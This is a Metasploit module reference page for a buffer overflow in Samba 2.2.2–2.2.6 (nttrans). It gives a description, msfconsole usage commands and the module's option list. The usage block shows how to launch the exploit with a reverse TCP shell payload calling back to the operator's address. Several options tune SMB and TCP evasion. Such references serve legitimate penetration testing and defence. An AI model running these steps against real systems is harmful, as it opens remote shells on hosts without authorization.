Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow | Metasploit Exploit Database (DB)

Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow

This module attempts to exploit a buffer overflow vulnerability present in versions 2.2.2 through 2.2.6 of Samba. The Samba developers report this as: "Bug in the length checking for encrypted password change requests from clients." The bug was discovered and reported by the Debian Samba Maintainers.

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Exploit Rank

  • Average

Exploit Authors

  • hdm < hdm [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Samba 2.2.x Linux x86

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/multi/samba/nttrans
msf exploit(nttrans) > show payloads
msf exploit(nttrans) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(nttrans) > set LHOST [MY IP ADDRESS]
msf exploit(nttrans) > set RHOST [TARGET IP]
msf exploit(nttrans) > show targets
msf exploit(nttrans) > set TARGET [TARGET ID]
msf exploit(nttrans) > exploit


Exploit Module Options

RHOST The target address
RPORT The target port (default: 139)
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
NTLM::SendLM Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required
NTLM::UseLMKey Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies Use a proxy chain
SMB::ChunkSize The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM The Native LM to send during authentication
SMB::Native_OS The Native OS to send during authentication
SMB::VerifySignature Enforces client-side verification of server response signatures
SMBDirect The target port is a raw SMB service (not NetBIOS)
SMBDomain The Windows domain to use for authentication
SMBName The NetBIOS hostname (required for port 139 connections)
SMBPass The password for the specified username
SMBUser The username to authenticate as
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session
SMB::obscure_trans_pipe_level Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level Place extra padding between headers and data (level 0-3)
SMB::pad_file_level Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size Maximum buffer size for pipe reads
SMB::pipe_read_min_size Minimum buffer size for pipe reads
SMB::pipe_write_max_size Maximum buffer size for pipe writes
SMB::pipe_write_min_size Minimum buffer size for pipe writes
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)